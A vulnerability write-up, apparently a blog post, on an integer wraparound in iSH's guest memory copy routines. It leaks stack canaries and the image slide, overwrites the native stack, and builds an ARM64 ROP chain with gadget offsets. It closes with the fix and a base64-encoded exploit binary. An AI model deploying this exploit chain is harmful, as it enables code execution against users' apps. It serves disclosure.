Hello again, it's been a minute so a friend recently showed me this little app called iSH. It runs Alpine Linux and x86 binaries on iOS no shit, Well I had a rough idea of how this might work, but I was curious to see how the developers had actually done it. So as usual, I hit up Google and found out that the project was open source and had been around for quite a few years. I pulled the source, started reading through it and got the app on my iPhone so I could mess around with it on an actual device as well
For those unfamiliar with iSH, it contains an x86 emulator and a Linux syscall layer inside what is otherwise a regular ARM64 iOS app. Guest programs make Linux syscalls with 32-bit pointers, which iSH translates into accesses to guest memory. Two functions that will come up quite a bit in this write-up are user_read() and user_write(). Both copy data between the emulated address space and native C buffers
Long story short, what started as a bit of curiosity about the emulator ended up with me getting native ARM64 execution from an i386 binary on my iPhone. Thought the whole thing was interesting enough to write about so why fuckin' not.
Aight before getting into it, the guest binary needs to be run by the user, and native execution remains within iSH's app sandbox. There's no zero-click, sandbox escape or kernel exploit here. The iSH documentation also explicitly states that the emulator is not intended to be a security boundary
Contents
- 0x01. How iSH sees memory
- 0x02. Somewhere around
0xffffffff - 0x03.
socketpair()says hi - 0x04. The other direction
- 0x05. ARM64, from i386
- 0x06. Did it do anything?
- 0x07. Fun
- 0x08. The fix
- 0x09. The guest
0x01. How iSH sees memory
First, I think it's worth looking at how iSH handles memory, since this is where I ended up spending most of my time so a program running inside iSH sees a 32-bit Linux environment. As far as iOS is concerned, there's just an ARM64 application running some C code so far so good but somewhere between the two, iSH has to make sense of the addresses passed around by the guest.
Each emulated task has a struct mem containing its page tables. A page-table entry holds a reference to a native allocation, an offset into that allocation and some flags describing the mapping.
Accessing guest memory from native code involves going through mem_ptr():
void *mem_ptr(struct mem *mem, addr_t addr, int type);
The relevant part of the implementation:
struct pt_entry *entry = mem_pt(mem, PAGE(addr));
if (entry == NULL)
return NULL;
return entry->data->data + entry->offset + PGOFFSET(addr);
PAGE(addr) selects the guest page and PGOFFSET(addr) gives us the offset within it. What comes back is a native pointer into the allocation backing that page.
Two consecutive guest pages aren't necessarily contiguous in the host. A pointer returned by mem_ptr() is therefore only useful within the bounds of the translated page.
Now, syscalls
When the guest executes int 0x80, we end up in iSH's interrupt handler. The syscall number is taken from eax and the arguments from the other i386 registers used by the syscall ABI
unsigned syscall_num = cpu->eax;
int result = syscall_table[syscall_num](
cpu->ebx, cpu->ecx, cpu->edx,
cpu->esi, cpu->edi, cpu->ebp);
cpu->eax = result;
These are iSH's own implementations of Linux syscalls. Looking through them, I kept coming across the same two fn:
int user_read(addr_t addr, void *buf, size_t count);
int user_write(addr_t addr, const void *buf, size_t count);
The naming is from the host's perspective:
user_read: guest memory -> native buffer
user_write: native buffer -> guest memory
There are also a couple of macros for fixed-size copies:
#define user_get(addr, var) user_read(addr, &(var), sizeof(var))
#define user_put(addr, var) user_write(addr, &(var), sizeof(var))
Both helpers deal with the non-contiguous backing allocations by walking guest memory a page at a time addr_t being 32 bits and size_t being 64 looked like a good place to break something.
0x02. Somewhere around 0xffffffff
Following user_read() takes us to __user_read_task():
static int __user_read_task(struct task *task, addr_t addr,
void *buf, size_t count) {
char *cbuf = (char *) buf;
addr_t p = addr;
while (p < addr + count) {
addr_t chunk_end = (PAGE(p) + 1) << PAGE_BITS;
if (chunk_end > addr + count)
chunk_end = addr + count;
const char *ptr = mem_ptr(task->mem, p, MEM_READ);
if (ptr == NULL)
return 1;
memcpy(&cbuf[p - addr], ptr, chunk_end - p);
p = chunk_end;
}
return 0;
}
__user_write_task() is pretty much the same thing with the source and destination of memcpy() reversed. What caught my attention here was the mix of types so I started looking at what happens near the end of the guest address space.
Say we're copying eight bytes from 0xfffffff8:
addr = 0xfffffff8
count = 8
addr + count = 0x100000000
Nothing wrong with that range, the last byte is at 0xffffffff and since count is a size_t the addition happens at 64 bits. Now look at the page calculation:
p = 0xfffffff8
PAGE(p) = 0x000fffff
PAGE(p) + 1 = 0x00100000
(PAGE(p) + 1) << 12 = 0x100000000
chunk_end = 0x00000000
I went over to the ARM64 disassembly just to see what the compiler had done with this bit:
ldr w8, [sp, #0xc]
lsr w8, w8, #12
add w8, w8, #1
lsl w8, w8, #12
str w8, [sp, #0x8]
Yep all w8.
Now back to the loop:
p < addr + count = true
chunk_end > addr + count = false
chunk_end - p = 8
The first memcpy() does exactly what you'd expect and copies eight bytes. All good until we get to this:
p = chunk_end;
So now p is zero and we're still comparing it against 0x100000000.
We should be done copying at this point but nope, we're back at the beginning of the guest address space and as long as the next address translation succeeds the loop keeps going.
Same bug in __user_write_task() too.
0x03. socketpair() says hi
I tried socketpair() because it returns the descriptors through fake_sockets, a two-int array on the native stack. If the copy kept going, whatever came after that array would end up in p0 make sense ?
The test ELF mapped page zero and the top page at 0xfffff000 Page zero was just an array called p0, and the output pointer went eight bytes before the end of the top page:
u32 a[4] = {1, 1, 0, 0xfffffff8};
sc(102, 8, (u32)a, 0);
volatile u64 *q = (volatile u64 *)p0;
Syscall 102 is socketcall, and subcall 8 is socketpair. The two ones are AF_UNIX and SOCK_STREAM I ran it on my iPhone. One of the runs produced this:
q[0]=0000003900000038
q[1]=7388601acc430099
q[2]=0000000000000000
q[3]=0000000000000000
q[4]=0000000000000000
q[5]=0000000000000000
q[6]=0000000000000000
q[7]=0000000108196d00
q[8]=0000000184cfb168
q[9]=0000000102b0dff0
q[a]=0000000102af6548
q[b]=0000000000000008
q[c]=000000016d56eed0
q[d]=0000000102a6c518
q[e]=0001003500010037
q[f]=0000000000000000
Not quite two file descriptors anymore huh? I didn't know what most of these values were at first. I mean I ain't a fuckin idiot, a few of them looked like native pointers especially q[c] which I suspected was a stack address
So I compared the output with the native frame layout and sure enough we had a stack canary and a saved frame pointer in there. Another value pointed somewhere into the iSH executable itself so I matched it against the App Store binary and got the image slide too:
canary = q[1];
fp = q[0xc];
slide = q[0xd] - 0x100040518ULL;
All of this came from the same copy bug
0x04. The other direction
Now the way sys_socketcall() works is it reads its argument vector into a native stack array before dispatching whatever operation was requested:
dword_t args[6];
if (user_read(args_addr, args, sizeof(dword_t) * call.args))
return _EFAULT;
return call.func(args[0], args[1], args[2],
args[3], args[4], args[5]);
Subcall 11 is sendto, which takes six arguments, so the dispatcher copies 24 bytes into args. I used 0xffffffe8 as args_addr, with the same two guest pages:
sc(102, 11, 0xffffffe8, 0);
The first 24 bytes came from the top page. The continuation copied page zero into the native stack frame.
The first attempts just crashed the app. Comparing the overwritten area with the native frame layout showed that the copy was reaching saved frame data, but it was also destroying stack canaries on the way there.
There were two canaries I needed to put back: one at the start of page zero and another at offset 0x1bc. The saved frame pointer also had to contain something valid enough to reach the function epilogue
For the next run, I filled the first 0x200 bytes of page zero with the same 64-bit pattern and restored the values from the leak:
sc(102, 8, (u32)a, 0);
canary = q[1];
fp = q[0xc];
for (u32 i = 0; i < 0x200; i += 8)
w64(i, 0x4141414142424242ULL);
w64(0, canary);
w64(8, fp);
w64(0x1bc, canary);
sc(102, 11, 0xffffffe8, 0);
This still crashed but this time it was a different kind of crash. Here's the interesting bit from Apple's crash report:
exception: EXC_BAD_ACCESS (SIGBUS)
subtype: EXC_ARM_DA_ALIGN at 0x4141414142424242
pc = 0x4141414142424242
lr = 0x4141414142424242
fp = 0x4141414142424242
The alignment fault came from trying to execute at 0x4141414142424242. The useful part was that my value had reached all three registers.
And this was the stock App Store build running on my iPhone, not some output from the guest. I had guest-controlled bytes in the native frame pointer and link register and the function had actually tried to return to that same value.
0x05. ARM64, from i386
After digging through the binary for a bit I ended up using these two sequences. The first one is at 0x10007c1d4:
10007c1d4: ldr x30, [sp, #0x50]
10007c1d8: ldp x12, x13, [sp, #0x40]
10007c1dc: ldp x10, x11, [sp, #0x30]
10007c1e0: ldp x8, x9, [sp, #0x20]
10007c1e4: ldp x2, x3, [sp, #0x10]
10007c1e8: ldp x0, x1, [sp], #0x60
10007c1ec: cbz x19, 0x10007c120
10007c1f0: ret
Pretty convenient actually. I get control over x0 through x3, x8 and x30 with sp advancing by 0x60. Just gotta keep x19nonzero so we don't end up taking that branch.
The other one I found at 0x100006e38:
100006e38: blr x8
100006e3c: mov x19, x0
100006e40: ldr x0, [x20, #0x78]
100006e44: cbz x0, 0x100006e4c
100006e48: bl 0x1000a306c
100006e4c: mov x0, x19
100006e50: ldp x29, x30, [sp, #0x10]
100006e54: ldp x20, x19, [sp], #0x20
100006e58: ret
We get our indirect call through blr x8 and by taking the branch at 0x100006e44 I get another controlled return with spadvancing by 0x20.
Gonna call these A and B for the sake of readability:
A = slide + 0x10007c1d4
B = slide + 0x100006e38
So A sets up my arguments and function pointer and B makes the actual call. Back to A and I get to do it all over again.
The first thing I tried was open(). Its import stub is at 0x1000a3540 and I stuck the path string at offset 0x340 in page zero.
This one was run against a single installed build so it ain't a universal iSH exploit. Expect some hardcoded shit. Anyway moving on.
Remember where page zero ended up after the native copy? fp - 0x18. So my string at p0 + 0x340 would be at fp + 0x328 on the native side.
msg = fp + 0x328;
Here's what I had for the first call:
w64(0x20, base + 0x10007c1d4ULL);
w64(0x28, msg);
w64(0x30, 0x601);
w64(0x38, 0777);
w64(0x40, 0);
w64(0x48, base + 0x1000a3540ULL);
w64(0x78, base + 0x100006e38ULL);
base here is the slide we got from the leak and 0x601 is just O_WRONLY | O_CREAT | O_TRUNC on Darwin.
By the time we land in A, sp is at offset 0x28 in page zero so this is what we're working with:
sp + 0x00 = p0 + 0x28 x0 = msg
sp + 0x08 = p0 + 0x30 x1 = 0x601
sp + 0x10 = p0 + 0x38 x2 = 0777
sp + 0x18 = p0 + 0x40 x3 = 0
sp + 0x20 = p0 + 0x48 x8 = open
sp + 0x50 = p0 + 0x78 x30 = B
A does its thing and we're off to B with sp now at 0x88. The blr x8 runs open() with the arguments we just loaded and the rest of the stack looks like this:
w64(0x88, fp + 0x320);
w64(0x90, 11);
w64(0x98, fp);
w64(0xa0, base + 0x10007c1d4ULL);
So x30 gets the value at 0xa0 and we're back in A again. x20 and x19 get restored from 0x88 and 0x90 respectively. The 11isn't anything special, just keeping x19 nonzero for the next round.
At this point sp is at 0xa8. I did the same thing again for mkdir() and had B return to _exit when done.
0x06. Did it do anything?
I had the chain finish with _exit() rather than crashing the app again. The app closed as expected so I went ahead and checked the app container over AFC.
Sure enough FOO_EXEC was sitting in Documents as a regular file and FOO_DIR was there as a directory. These were the paths I passed to the native open() and mkdir() calls. Checking them from outside the guest made a bit more sense than printing "pwned" in the guest terminal which would've proved fuck all.
And yeah this was the stock App Store build running on a non-jailbroken iPhone 17(IOS27) The payload was specific to that binary and my app container path but there was no modified app or debugger involved.
0x07. Fun
Now all this shit is getting boring, gotta do it the hacker way Nahhh for the visual demo I went with the simulator. Recording both the phone and the terminal was a pain in ass and I already had a longer chain working on the simulator anyway
Instead of stopping after open() and mkdir(), this chain calls dlopen() on an ARM64 dynamic library. Its constructor queues work on the main thread and displays a meme take a look:

0x08. The fix
The patch uses a 64-bit cursor and end address, and rejects a range that crosses the guest's 4 GB boundary. A copy ending exactly at 0x100000000 still works and stops where it should
The read side:
static int __user_read_task(struct task *task, addr_t addr,
void *buf, size_t count) {
char *cbuf = (char *) buf;
if (count > (uint64_t) UINT32_MAX + 1 - addr)
return 1;
uint64_t end = (uint64_t) addr + count;
for (uint64_t p = addr; p < end;) {
uint64_t chunk_end = ((p >> PAGE_BITS) + 1) << PAGE_BITS;
if (chunk_end > end)
chunk_end = end;
const char *ptr = mem_ptr(task->mem, p, MEM_READ);
if (ptr == NULL)
return 1;
memcpy(&cbuf[p - addr], ptr, chunk_end - p);
p = chunk_end;
}
return 0;
}
__user_write_task() gets the same treatment
fix: ish-app/ish#2845
Like I said earlier the iSH SECURITY.md is pretty blunt about the project not being a security boundary and generally treats memory corruption as a correctness bug. I agree so fair enough. Still a pretty fun way to end up writing ARM64 ROP from an i386 executable.
0x09. The guest
H4sIAC76DWsAA+0Y227iRpRdqarqPrfPI6sPNqFmjI1tgvJAA7tBS0NKSLXbKLIGe0gtge3YYxYU
5Qf6Be1z/6B/0df+R/+hM7aJMSabrFRYteEIM8dnzm3OnDMzHsm8jnBIJKu0PYAQaqoKWKtr9biF
teQdJrgC5LoCFUVXGQOUFU1WSwBu0ad7iEKCAupKiK0ocMjiIT7KNh5/QE8yFHDf/lfgs68/L70s
lb5HFuifg7cgBUY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Iz1gViFoVnFkCiNQkjsgtz4aSGRN0y+XJh9pEALFmVH1sbsU0apN7nKluVsPcUrA2f9
yWKb0eJqaTaz+ijuPD6KQsz2ibsdnoYlc4IWXkSkib01Gx93/6PR858qa3B//tsJ7O9/njVk9z/b
Wwc+7v6H1X9dh9r+/mcXULj/0aGkwpquwIbR2N///O9h+7v/4/WvKuv1TxF5v//vAjqnw8E7Ibk9
ELmzk/bgPL0+mHjvwdnQ7PVbbfCq13p9LmjpWZbgOVnrWn4FEM/fIHTHnXeOh93+6VK3lH1GSj4E
h+AWlAWKieAOHFLDGVNy0E9ZY8MpM8NFhgSeTT/0yzGeYaMwLMfaGN+KuviwvqKR+rtU6PmJgOfv
9AS+hz3sYQ+fBv4B3An64QAiAAA=
Offsets are for App Store iSH 1.3.2 (494). Don't run this on some random build and expect it to work.
Source: iSH